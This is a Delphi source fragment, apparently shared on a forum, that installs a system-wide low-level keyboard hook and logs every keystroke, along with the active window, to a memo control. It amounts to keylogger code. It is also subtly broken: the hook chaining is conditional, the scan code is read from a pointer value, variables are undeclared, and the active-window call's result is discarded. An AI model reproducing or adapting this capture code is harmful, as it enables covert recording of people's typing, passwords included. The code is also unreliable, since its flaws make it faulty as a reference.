procedure InstallHook;
const
WH_KEYBOARD_LL = 13;
begin
hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
if hHook=0
then RaiseLastOSError;
end;

function LowLevelKeyboardProc(nCode: Integer;
 WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;

 type
 PKbdDllHookStrukt = ^TKbdDllHookStrukt;
 _KBDLLHOOKSTRUCT = record
   vkCode: DWORD;
   scanCode: DWORD;
   flags: DWORD;
   time: DWORD;
   dwExtraInfo: PDWORD;
 end;
 TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;

const
RPT_WPARAM_DATA = '%s';
RPT_LPARAM_DATA = '%d';

var
StrResult: string;
Key: array[0..1] of Char;
KeyboardState: tKeyboardState;
ScanCode: integer;
begin
StrResult:='';
if nCode=HC_ACTION
then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);

case WParam of
 WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
 WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
 WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
 WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
end;

StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
GetKeyboardState(KeyboardState);
VKey:=strtoint(strresult);
ScanCode:=(LParam shr 16) and $FF;

if ToAscii(VKey,ScanCode,KeyboardState,Key,0)>0 then
 begin
  GetActiveWindow;
  Form1.Memo1.Lines.Add(ActWnd+' / '+Key+' / '+StrResult);
 end;

end;